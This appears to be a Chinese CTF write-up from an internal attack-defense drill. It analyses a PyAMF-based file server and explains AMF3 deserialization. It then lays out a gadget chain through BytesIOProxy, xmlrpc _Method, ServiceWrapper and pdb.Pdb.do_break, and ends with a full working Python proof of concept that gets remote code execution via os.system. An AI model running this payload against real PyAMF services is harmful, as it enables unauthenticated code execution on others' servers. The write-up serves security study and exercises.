作者 | 修订时间 |
---|---|
2023-10-20 13:40:20 |
KnownSec 2023年度第五次内部攻防演练
题目源码 -> vyrpgtqhknoxypax.bz2
对题目下载的源码分析,发现为一个简易的文件服务器,但是需要密码才能登录
from pyamf.remoting.gateway.wsgi import WSGIGateway
import logging
logger = logging.getLogger()
logger.setLevel(logging.DEBUG) # 设置日志级别为 NOTSET
# 创建一个 StreamHandler 处理器并设置其级别为 DEBUG
stream_handler = logging.StreamHandler()
stream_handler.setLevel(logging.DEBUG)
# 创建一个格式化器并将其应用于处理器
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
stream_handler.setFormatter(formatter)
# 将处理器添加到 logger
logger.addHandler(stream_handler)
ADMIN_USER = "??"
ADMIN_PASS = "??"
class FileManagerService:
def read(self, filename):
with open(filename, "rb") as f:
return f.read()
def list(self, path="/"):
import os
return os.listdir(path)
def auth(username, password):
if username == ADMIN_USER and password == ADMIN_PASS:
return True
return False
gateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth, logger=logger)
if __name__ == "__main__":
from wsgiref import simple_server
host = "0.0.0.0"
port = 5000
httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)
httpd.set_app(gateway)
logger.info("Running Authentication AMF gateway on http://%s:%d" % (host, port))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
从github
上的 pyamf 介绍可以看到 他是与Flash的amf
兼容的一个库,与常用的python
web框架Django,Pylons,Twisted,SQLAlchemy,web2py
兼容。
它可以利用amf
协议定义下的格式,进行远程对象调用、执行,于是只要满足amf格式的对象就能够进行远程调用,即可;
通过查阅资料可以得知,AMF3需要满足以下格式
00 03 00 00 00 01 00 01 61 00 01 62 ......
# 00 03 amf协议的版本号 3
# 00 00 头部数据 为0
# 00 01 消息体 1
# 00 01 目标长度
# 61 目标 -> a
# 00 01 接收长度
# 62 接收方 b
# ..... 消息体
而消息体只需要满足是amf转换的 对象 int、bool、等类型的数据均可被传递
在py3amf
这个包中,它本身支持序列化和反序列化,于是我们只需要了解它的调用过程,就可以利用这一特点进行远程代码执行。
在pyamf\remoting\gateway\wsgi.py
这个方法对远程代码进行了解码操作
跟进,就会发现它读出了我们设定的target和response
而关键就在decoder.readElement()->self._readElemnt()
中
首先是读出了字节是哪种类型
而这个函数就是读出amf格式的对象
首先会读出类名
-> 静态属性、动态属性
,这就完成了一个对象的加载。
但最后为何会触发这些被实例化的对象呢,我们知道在python 存在某些魔法方法,当在一定条件下,就会触发,例如,以下函数:
所以后续操作时,很容易就会触发这些魔法方法,当我们就需要寻找 在那个魔法方法里能够找到一个 我们可以控制并调用的其他对象的方法的一些调用链,最终找到能够控制的函数调用 eval
、exec
、os.system
然而这道题给了我们提示,在这个建议的文件服务器中,满足一定条件就可以调用我们生成出来的service
如下所示
不难看出,只要self.service、method、params
可以控制,就可以实现任意类的公有方法调用,所以我们需要向上查找,那个能够对象触发pyamf.remoting.gateway.ServiceWrapper
的__call__
方法、满足调用时存在两个参数,并且能够实例化时不需要任何参数,就能够实例化,很遗憾我没有直接 直接找到这么一个类满足这个条件,但我找到了一个类可以通过重复调用自己使其满足两个,并且它的__new__
方法不需要任何参数
我发现这个最外层的对象在 Request()
中进行,空对象比较是,会触发__len__
方法
所以后面能够衔接 只要调用属性对象被当成方法调用即可
最终在pyamf.util.pure.BytesIOProxy
的__len__
找到了
我们此时能够对任意类的任意方法执行了,于是找一个执行了eval、exec 的方法即可,一个常用的类pdb.Pdb
中的很多方法都调用了exec
,但我们需要一个公开的方法 do_break
于是完整的poc如下
from pyamf import amf0, amf3, util
AMF = amf3
def serialize(obj):
stream = util.BufferedByteStream()
context = AMF.Context()
encoder = AMF.Encoder(stream, context)
encoder.writeElement(obj)
return stream.getvalue()
def deserialize(data):
stream = util.BufferedByteStream(data)
context = AMF.Context()
decoder = AMF.Decoder(stream, context)
return decoder.readElement()
def serialize_attrs(attrs):
s = b""
for k, v in attrs.items():
s += serialize(k)[1:]
if isinstance(v, Obj):
s += v.serialize()
else:
s += serialize(v)
s += serialize(None)
return s
class Obj:
def __init__(self, _name, **kwargs):
self.name = _name
self.attrs = kwargs
def serialize(self):
s = b"\x0a\x0b" + serialize(self.name)[1:]
s += serialize_attrs(self.attrs)
return s
serialized = Obj(
"pyamf.util.pure.BytesIOProxy",
_len_changed=True,
_len=48763,
_get_len=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"pyamf.remoting.gateway.ServiceWrapper",
service=Obj(
"pdb.Pdb",
curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
curframe_locals={},
stdout=None
),
),
_Method__name="do_break",
),
_Method__name="""
__import__("os").system("dir")
""".strip(), # your exploit here
),
).serialize()
import requests
serialized = b"\x11" + serialized
r = requests.post(
"http://localhost:5000/",
data=b"\x00\x03"
+ b"\x00\x00"
+ b"\x00\x01"
+ b"\x00\x01c"
+ b"\x00\x01b"
+ len(serialized).to_bytes(4, "big") + serialized,
)
print(r.text)
Referer